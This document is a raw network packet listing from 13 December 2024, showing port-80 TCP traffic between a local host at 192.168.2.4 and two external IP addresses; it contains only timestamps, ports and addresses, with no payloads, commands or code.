Dec 13, 2024 01:51:22.346626997 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.347472906 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.347717047 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.349354029 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.349387884 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.349421978 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.349423885 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.349457026 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.349554062 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.349633932 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.349756002 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.349834919 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.350725889 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.350795031 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.350843906 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.350935936 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.351793051 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.351841927 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.351903915 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.351996899 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.352870941 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.353001118 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.353102922 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.353972912 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.354098082 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.354108095 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.354335070 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.355037928 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.355178118 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.355202913 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.355262995 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.356096983 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.356208086 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.356228113 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.356329918 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.357191086 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.357302904 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.357337952 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.357564926 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.358259916 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.358378887 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.358412981 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.359366894 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.359452963 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.359467983 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.359546900 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.360402107 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.360542059 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.360816002 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.361491919 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.361604929 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.361638069 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.362596035 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.362692118 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.362709045 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.363667965 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.363770962 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.363785982 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.363893986 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.364742994 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.364855051 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.365083933 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.365819931 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.365945101 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.365986109 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.366885900 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.366982937 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.367023945 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.367196083 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.367981911 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.368084908 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.368351936 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.369110107 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.369221926 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.369246006 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.369317055 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.370589972 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.370702982 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.370735884 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.370846987 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.371233940 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.371386051 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.371463060 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.372355938 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.372488976 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.372524977 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.373399973 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.373437881 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.373518944 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.373704910 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.374516010 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.374651909 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.374671936 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.374733925 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.375544071 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.375663042 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.375665903 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.375809908 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.376633883 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.376770973 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.376805067 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.377720118 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.377887011 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.377922058 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.378204107 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.378778934 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.378914118 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.378948927 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.379013062 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.379887104 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.380000114 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.380044937 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.380153894 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.380939960 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.381072998 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.381108046 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.381213903 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.382040024 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.382136106 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.382200003 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.382304907 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.383111000 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.383233070 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.383374929 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.384182930 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.384268999 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.384320974 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.384376049 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.385286093 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.385418892 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:22.385526896 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:22.385816097 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:24.734570980 CET	49786	80	192.168.2.4	185.215.113.43
Dec 13, 2024 01:51:24.734879971 CET	49805	80	192.168.2.4	185.215.113.43
Dec 13, 2024 01:51:24.854959965 CET	80	49805	185.215.113.43	192.168.2.4
Dec 13, 2024 01:51:24.855149031 CET	49805	80	192.168.2.4	185.215.113.43
Dec 13, 2024 01:51:24.855220079 CET	80	49786	185.215.113.43	192.168.2.4
Dec 13, 2024 01:51:24.857856989 CET	49786	80	192.168.2.4	185.215.113.43
Dec 13, 2024 01:51:24.861747026 CET	49805	80	192.168.2.4	185.215.113.43
Dec 13, 2024 01:51:24.982012987 CET	80	49805	185.215.113.43	192.168.2.4
Dec 13, 2024 01:51:26.191658974 CET	80	49805	185.215.113.43	192.168.2.4
Dec 13, 2024 01:51:26.191761017 CET	49805	80	192.168.2.4	185.215.113.43
Dec 13, 2024 01:51:26.222508907 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:26.222718000 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:26.343009949 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:26.343179941 CET	80	49787	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:26.343266010 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:26.343344927 CET	49787	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:26.464071989 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:26.584602118 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:27.678920984 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:27.679043055 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:27.679081917 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:27.679120064 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:27.679157019 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:27.679188967 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:27.679203987 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:27.679204941 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:27.679204941 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:27.679204941 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:27.679204941 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:27.679224968 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:27.679260015 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:27.679289103 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:27.679289103 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:27.679296970 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:27.679363012 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:27.679363012 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:27.679363966 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:27.679415941 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:27.799491882 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:27.799546003 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:27.799577951 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:27.799688101 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:27.803580046 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:27.803623915 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:27.803808928 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:27.803809881 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:27.870927095 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:27.870979071 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:27.871175051 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:27.875127077 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:27.875226021 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:27.875298023 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:27.883543015 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:27.886583090 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:27.886656046 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:27.886724949 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:27.886725903 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:27.895663023 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:27.895715952 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:27.895895004 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:27.903534889 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:27.903587103 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:27.903820038 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:27.911930084 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:27.912075996 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:27.912199020 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:27.920629978 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:27.920682907 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:27.920850039 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:27.928823948 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:27.928877115 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:27.928894997 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:27.928961039 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:27.937374115 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:27.937427044 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:27.937552929 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:27.944804907 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:27.945259094 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:27.945477009 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:27.952116013 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:27.952356100 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:27.952544928 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:27.959589958 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:27.963149071 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.062984943 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.063039064 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.063209057 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.063209057 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.065049887 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.065119028 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.065201044 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.067143917 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.069487095 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.069545031 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.071096897 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.071285963 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.071345091 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.075869083 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.075922012 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.076086044 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.080465078 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.080518007 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.080687046 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.084798098 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.084867954 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.085056067 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.089448929 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.089502096 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.089679003 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.094109058 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.094196081 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.094367981 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.098336935 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.098406076 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.098577023 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.102828026 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.102945089 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.103112936 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.107377052 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.107446909 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.107628107 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.111843109 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.111982107 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.112185001 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.116583109 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.116684914 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.116863966 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.120939016 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.121009111 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.121185064 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.125539064 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.125565052 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.125722885 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.125722885 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.129997015 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.130145073 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.130330086 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.134469032 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.134525061 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.134643078 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.134643078 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.139017105 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.139050007 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.139190912 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.139190912 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.143780947 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.143835068 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.143866062 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.143956900 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.148252964 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.148307085 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.148425102 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.148426056 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.152751923 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.152807951 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.152930975 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.152931929 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.254945040 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.254997969 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.255269051 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.256644964 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.256699085 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.256846905 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.256846905 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.259921074 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.260035038 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.260205030 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.263259888 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.263333082 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.263396025 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.266813040 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.266985893 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.267178059 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.270225048 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.270344973 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.270505905 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.273808956 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.273833990 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.273978949 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.273978949 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.277116060 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.277182102 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.277358055 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.277358055 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.280312061 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.280355930 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.280504942 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.280504942 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.283577919 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.283624887 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.283807993 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.286475897 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.286873102 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.286945105 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.289582014 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.290045977 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.290251970 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.292804956 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.292898893 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.293028116 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.293028116 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.295948982 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.296142101 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.296216011 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.299034119 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.299266100 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.299448013 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.302191973 CET	80	49809	31.41.244.11	192.168.2.4
